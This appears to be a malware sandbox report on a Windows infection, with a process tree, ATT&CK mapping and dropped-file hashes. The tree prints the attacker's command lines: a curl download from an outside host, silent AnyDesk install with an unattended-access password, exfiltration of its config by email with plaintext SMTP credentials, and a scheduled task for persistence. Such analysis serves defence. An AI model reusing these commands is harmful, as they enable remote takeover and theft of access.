    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5612,i,16175563725684585216,4748640240414167411,262144 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=6408 /prefetch:10
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:4624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6464,i,4397669921456230546,422491565554252496,524288 --field-trial-handle=2304,i,10448743283745690219,7177668761267699515,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:14
    3⤵
    PID:3036
- C:\joke\curl.exe
  "C:\joke\curl.exe" -k -L -o "C:\joke\v-Tune1.rar" --resolve finder-newlife.site:443:198.187.29.19 https://finder-newlife.site/klown/v-Tune1.rar
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1204
- C:\joke\driver.exe
  "C:\joke\driver.exe" x -r -ep2 -hplimpid29033 "C:\joke\v-Tune1.rar" "C:\joke\" /y
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5576
- C:\joke\Trays\Trays.exe
  "C:\joke\Trays\Trays.exe" -tray
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\joke\Trays\4t-min64.exe
    "C:\joke\Trays\4t-min64.exe" "C:\joke\Trays\ShellEh6055x64.dll"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3156
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\joke\foot.bat""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\joke\AnyDesk.exe
    C:\joke\AnyDesk.exe --install C:\joke\AnyDesk
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5672
  - - C:\joke\AnyDesk.exe
      "C:\joke\AnyDesk.exe" --local-service
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2540
  - - C:\joke\AnyDesk.exe
      "C:\joke\AnyDesk.exe" --local-control
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4696
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 60 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4352
- - C:\joke\AnyDesk\AnyDesk.exe
    "C:\joke\AnyDesk\AnyDesk.exe" --set-password _unattended_access
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5616
- - C:\joke\driver.exe
    C:\joke\driver.exe a -r -ep -hplimpid2903392 C:\joke\AnyDesk.rar C:\ProgramData\AnyDesk /y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3836
- - C:\joke\blat.exe
    C:\joke\blat.exe -to [email protected] -f "AnyDesk<[email protected]>" -server mail.versio.nl -port 587 -u [email protected] -pw "Q8K2C7Nyfy5gF3BsQ26Z" -subject "AnyDesk DLAWBTBF/Admin" -body "AnyDesk DLAWBTBF/Admin" -attach "C:\joke\AnyDesk.rar"
    3⤵
    - Executes dropped EXE
    PID:5968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Auto apdate" /tr "\"C:\joke\Trays\Trays.exe\" -tray" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:204

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4980

C:\joke\AnyDesk\AnyDesk.exe
"C:\joke\AnyDesk\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3336

C:\joke\AnyDesk\AnyDesk.exe
"C:\joke\AnyDesk\AnyDesk.exe" --control
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2532

C:\joke\AnyDesk\AnyDesk.exe
"C:\joke\AnyDesk\AnyDesk.exe" --new-install
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\joke\Trays\Trays.exe
"C:\joke\Trays\Trays.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4364

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

system.conf

Path C:\ProgramData\AnyDesk\system.conf
Size 526B
SHA256 90c8e2df22cf1393d34ab18a723bbbae829cb2148ba433ebb5556e8844504363
MD5 5c21cc6756ea47130307022238b36d0b
SHA1 7f6fc5c8d248fff645f1e5195ba3d6a6f6525f68
SHA512 654bb4202422b567c2c80cb23ad5cfd378800ecb693441389898fd7c47dce87ff43a2b0ddef99816a2086640f519c198c3446245da818a7556596bdc90c8852a
TLSH
T167F02763E51D7532D8A3F7D3A8B424BC27F219546657238CC5482447B2821BA89CF3FC
MD5 SHA1 SHA512 TLSH

Submit Download

system.conf

Path C:\ProgramData\AnyDesk\system.conf
Size 803B
SHA256 cd979053b8bbc94370f06f87527dac0f5bb35b48eaef4812bc43a62a2680f95d
MD5 d60be58e8e0b7bd64e76875ea6520fe4
SHA1 f40534793f8e705ca04a761574d55fc05b3a89ed
SHA512 6e99382c5e03f74cf85f6582842029e497c2cb9e6392a6dae645a5fa2e93bba1e5803cdf3ffe75bbcfb64670ac4ab495d55495d79cb8b7e261f7b2ffcb5f3abf
TLSH
T152016477DA1D31329C92B7D3783828AC6BE62680110B33CC8548B446B2C316A89CE3FC
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 f3372bb3ef5f47d20a5d2b1b2f7ef69a870695398c13fc8252c35d08eaff992b
MD5 1a8d4ed48815971091503c4136319297
SHA1 8ec8d206344ea9d41754e8b2c1f3c2f4ad0e7b0d
SHA512 2a357746af85a134b42bc04b3f32138f8fdd01958a1ad1609bd88bca54643eecf7e2551b5e815939d20e135933e8d8145b96eb94fdf458d267a2bb8fb5df31d6
TLSH
T18D5174C00BE619D2CBFE4EF561E626CE33F0C09D56635A90225A2D744A4EFA790E0C37
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 e1dba32929179b4f63d1c7e3a5ab699022189dbedccfd41032b3a60f35a532fa
MD5 ce7b7dc1bc8dfe2e5a461a74d8aebd4d
SHA1 a5666c864e916e697efe6bce214d2a6806f98f4a
SHA512 4e5164dca2b95858d7cf69508e06c1b02145e29b768bdcc012d94bdf0745f54905a4899cdc0c39fbd560ac8e83225a7ad6acfd66c639927f8eabbd701a947118
TLSH
T13741AAF3C7E8866E990156F0AB187E2BCE2D0915832C3D5AC8E4AF5B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 f4417d60d0d6ebd993ef628d6fbeed7fc72665625eec81744cd3dc1f897b70e3
MD5 0a3c38870ec578248b1b5c072c420d48
SHA1 76b180db6b45cf242786dc552d8520e356b5960e
SHA512 0015f768916fc652e74fe1418302af36cc9a37b9b89959a76b5707bc8b2368b9bf93b5b8e1a457fb793ba475ad4401429532e619ab44b19c584ae60068b06bbb
SSDEEP 192:sxR7RYCo/fFsJsSZfYyzoA8p4G/g6+WNIYobOwBCY1GxIgDtJ:sxR7po/fFsJs0fY/D/5IbOb5j
TLSH
T19942961AAD28993BACC7D21DBB55BF53D2FD5032A1902E48A6FC871C04E7ACD230741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 20a1bc4b8aa59a35cf3edb383dbfe218b9f49e7938e7374bb0ad809c3a348c2d
MD5 50354e0be7a5211ec576aacbc4e0c6f5
SHA1 187380a984a6c8ef2b26d0fb15e3771f765d8ddc
SHA512 a98699663f62afd2416261bd44d3f284783f932205ff8602117f81e389a7c381386e707fd6999f2f482fa2b5205b3dfa2a25b7065240f84036b4f6dd34898afd
SSDEEP 192:sxR4RYCo/fFsQPSZfYyzoA8p4G/g6+WNIYo2OwBCY1GxIgtJ:sxR4po/fFsQP0fY/D/5I2Ob53
TLSH
T15432A716AD28A93BACC7D21DBA65BF53D6FD5032A1902E48F6FC861C04E76DD230741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 828cb3f6c11fc097aa69a579a9180d7b96e7d3787bf40d66c64ee06225681ea9
MD5 1602d2f019f85215742d5cc1cc30dc0b
SHA1 2611904c078a57deb071c3601807bb86440b7078
SHA512 ef963b33e3061e6a28498ee47d95da555914ed3f536ef447335d5140d7161f24462e87c5fcce0428790bb901a6d64c2c5d7da037a8e8e4573e57e8fe7f0f71db
SSDEEP 192:sxR7RYCo/fFsJPSZfYyzoA8p4G/g6+WNIYo2OwBCY1GxIgD3J:sxR7po/fFsJP0fY/D/5I2Ob5l
TLSH
T17A429716AD28A93BACC7D21DBA55BF53D6FD5032A1902E48B6FC861C04E77CD230741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 d2f92fbeabfae2b2da3e2c69a5e7cb803d1c57decaa091c08d9285be9f22c72c
MD5 84e20ec554e7449fb3260a3d08cf7699
SHA1 90a2b1cfa3593a53827afa14c34088f5746324e4
SHA512 93f4ae62db1d19affd495497e4b1604ec48fee73a30353022cb2ebd45e9be60ff5e6aed458a05ebc338ee9eb14bed4ee143352df1c5c6216b852b0fb36d3dc6d
SSDEEP 768:j26HRo7pLuL7MRWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7BVuwyro9re0d:j26HRUE7MRWgs2f02u1jah7B4wp+6
TLSH
T168D2DC7B640DCABF4F800ADDDC197E9F6D6802CB9698CD8047FD851C02C6BEA511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 0123583c59c5442682ba7a99e6526a129dcc315e9d8e32055ec69425b369d715
MD5 85ac268d64c99411bc839c35bf49f0ff
SHA1 f27e7fbdc83f1189b3be7663f2d285b7e7dc9c5b
SHA512 3b2efb6ff616d42825123feb12b83af52da9e293f961271bc5d208ad76c8b782d378a68e0f5c8aee6ed2c244b5a62aa76e8e1fdaddfd93bc42e93a2b1b5e08bb
SSDEEP 96:KRCHuC0UECWMZxgyCK4ngoCcSaBgCrHlyLf1vz3W7gugn3K4Wg53cdF4LirWKIkU:CCHuC0UE9MZSy6ngoJSaBgCrHlyLf1vp
TLSH
T1CFB15610327A0244383E791981B8986BD6C3B4B73419B56B7BAE02E51F27E035EFC9DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

023792dd-c9de-4c7e-98eb-67796c378307.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\023792dd-c9de-4c7e-98eb-67796c378307.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 52d3930d86d9524d3495eb68ca873f45ae69c79adfa2acecc5579f88ba5590ad
MD5 07d3677ff623bc3d8d9f789f35f945f0
SHA1 9490b737f82d172b92476c0e0d4afd443554c15d
SHA512 1fd8923cb502b06342ab89cb534508b5b676704e38f046135c5714c9a82b349e44e235b727907455ff60e55ef418f4d0307966a3c88205662796fbf1f059f8b3
SSDEEP 768:RFoj+9m3PwgoGDsOWS3ztKONXyer1IRCzni9PMjz:n9m3jGSIqns0
TLSH
T1D0038E36E995CE27ADE297C6B6067787EEF410A3C5C849D0EEDA1E8D00C369E130BD15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 1597735aa2e75e1674a98ba3f6214bb3031b2fba18a0d7b919ca08046cd18b88
MD5 0304f7ed6e80b7bf85265ad9f988f9aa
SHA1 f7c404c08d9c5803ed49f4efa062fb4bba763805
SHA512 017058b916c497375d4b9c0325d322aec39a7c73b6516ce0e1147747fb92cf13105745d0d0e0a4900f73fb5ee8373cc8daa8b4c8f3d94b8b5b1216fa89fd158d
SSDEEP 768:hrv+4UNbdz3Lq/TBOWSYONXyer1IRCzniBmeVH1SK7:hbsbV3eBSIqnNEH1l
TLSH
T14A03BF32E4989E338DE2A3C6B147B6437FB86057C6800790D9DE2F4E069B59E230B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 c593cd4851ce0ea442882b4b2d548ef13b18be9162a9dce6fbe368ac0d4c0f4c
MD5 32a6e344a42b5c11f63236357e977325
SHA1 d839b96c6f37c5912001661908233183e745b438
SHA512 a95d4917dca914e0baf6eebf71815dddecf9a5fcbdc27288dbf9d5e755a821828636e3adcdfdd97813e08f14ea5d80ddc124c530c8501bf977c0be35b26142a5
SSDEEP 768:gj+9ks3xR/TBOWS3zt7ONXyer1IRCzni9PMjz:f9ks3LaSIqns0
TLSH
T1D3F2AF31E5569E234DE1A2D6B1077783BFB820B7C5C00A94EEEA6F4E05C3B6D130B916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 b1b4a63331bc926f3b4c3cbba79be1c1223fc717b0977813900d56822d44b0de
MD5 9e39eeebe5a9afd91760513973763464
SHA1 c90108a2f8f2a892e30b40bf8e057d4615722a42
SHA512 1342ade8d8e3f80787abee9af348b81e080fda3c520b96345752d9935c5940afbcf192d6540c1051251b0e125e52fe27e757dc07573ac64eb6ca41621a164d4f
SSDEEP 768:RF1j+9js3IwgYGpsOWS3ztnONXyer1IRCzni9PMjz:w9js3qFSIqns0
TLSH
T1A5039E36E995CE27ADE293C6B7067787AEF410A3C5C459D4EED91E8D00C36AE030BD15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 17e165df4e53fe8a13d2fd1ae554cf5c645013945f5f6e39ec9732ff7b0e98a9
MD5 635892d8871215fe1428e22ffa8112d0
SHA1 91a004964c73585666e51ec7405749095514a252
SHA512 f669663a59d163130377403f6ddd322f14e0855bc9b2b2185cd3615cf717c02013dc524eeeadad04a0f47919359126a9f58375312f0da3e2b00cfb3c8c8a6882
SSDEEP 768:erv+4UNbdis3kR/TBOWS3zt6ONXyer1IRCzni9PMjl:ebsbQs3KNSIqns2
TLSH
T1BD13BF31E559DE239DF2A296B04777837FB820A3C9C00A94EDD61F8D05D79AE230F916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

c2abf2fb-9106-4729-b786-6d6039df57d6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\c2abf2fb-9106-4729-b786-6d6039df57d6.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

nsExec.dll

Path C:\Users\Admin\AppData\Local\Temp\nsc86DC.tmp\nsExec.dll
Size 7KB
SHA256 2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77
MD5 11092c1d3fbb449a60695c44f9f3d183
SHA1 b89d614755f2e943df4d510d87a7fc1a3bcf5a33
SHA512 c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a
SSDEEP 96:JgzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuHIDQ:JDQHDb2vSuOc41ZfUNQZGdHA
TLSH
T1D5E1093571C02DF7D08D897438167D2F43F4D52627BA05B046771AD579D0AF6EE28B42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3476_415391131\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad.trace

Path C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Size 7KB
SHA256 8638b5a507965a7de8b89b0a4514b2d3ebeb5ae3a8ce413d879d92c78fb924a8
MD5 ab56415ffb60c3c574981a4364475c9c
SHA1 e3bd1cd63f880ac6d2359e2886ddd080c731aefd
SHA512 cbc09fc52356c19bade31ccdea252153690cdf7b0773f3048abe5cb95e6cc618a33bc86e7a10d7f674a11ce088c20768de1e6bb050f119a8c28702d0c007ab99
SSDEEP 96:rRSX5BYlw/N8LaDx8/RSD942jiRS+PB9P02BKcK:rRS/YWV8La+RSuRSm02BKcK
TLSH
T193E1AC732A7415BF127981579BF22068E1C3722C9617A1297ACF8A043B96B073FEB351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad.trace

Path C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Size 7KB
SHA256 500a0dcff623304159ad3fc6a87e731be7d7733cae801f511104d000c3597ee4
MD5 63a0928c686e8d223276289050ed4f36
SHA1 5c254e6ec15ad2a02f80a73ef72934c044274c21
SHA512 b84a981abf105c378b0453953bc4cc0ea63a006e720278a5449fb27ae407132c8ba6898f93d3e80342e8fc246157d0e6eda248343821576a6d5fe77e5474a4f0
SSDEEP 96:rRSX5BYlw/N8LaDx8/RSD942jiRS+PB9P02BKcj6:rRS/YWV8La+RSuRSm02BKcj6
TLSH
T194F1CD732A7410BB227981479BF22069E5C3723C9717A12976CE8A003BD6B073FEB750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad.trace

Path C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Size 29KB
SHA256 14b1d339f30371f5a457798b123f54230cac31bd9a62886074ce903c271634da
MD5 5de38c5ef8c1207311ff97dd8298d47c
SHA1 38f020952d4774764fa3d6bad800dfe8ccf32411
SHA512 5cbb70c677cb7d3e0eec466ce7276419b9de50f4d3500bc352599a37cd9fb5dd2f28635b088d60b2b3ac93ffdf1a965d45fa03ef554453490d5e0035120f8fe8
SSDEEP 384:rRvRRRHBZgHg3pAS8MNakZEp0hRjR82TgL:V5jHTVapEtngL
TLSH
T1A0D2A9732A7401BB2376818B9BF22464D186B22C9757B11A76CF9A043BD36073FEB355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

service.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\service.conf
Size 2KB
SHA256 7dde401e0943234b21f2cda243cd3bcf04c1bcbbf4e56680ffd7949e29c68379
MD5 f6e043d638f97b4b74a31e6d8ff01584
SHA1 fc69382c16e278b8216077ee85e7c3bf9d67bb23
SHA512 93d5a883431ffd152e70b754eae99d9adae359833824c0c0966d1eefea873103651f08aba2ab4b08eaa4e122599af0a47a98707ed18d60b06ca2eaabdc5797e6
TLSH
T17A511A432D8868895876F9261D336A7144B5A3F20A32E0EE2CAB64B69662AE4171D351
MD5 SHA1 SHA512 TLSH

Submit Download

system.conf

Path C:\Users\Admin\AppData\Roaming\AnyDesk\system.conf
Size 312B
SHA256 6452273c017db7cbe0ffc5b109bbf3f8d3282fb91bfa3c5eabc4fb8f1fc98cb0
MD5 0c04ad1083dc5c7c45e3ee2cd344ae38
SHA1 f1cf190f8ca93000e56d49732e9e827e2554c46f
SHA512 6c414b39bbc1f1f08446c6c6da6f6e1ceb9303bbf183ae279c872d91641ea8d67ec5e5c4e0824da3837eca73ec29fe70e92b72c09458c8ce50fa6f08791d1492
TLSH
T1FFE01703855CA132D083F683E4B822EC13F209503A5B034DCA00040BB3C06F588CF3F5
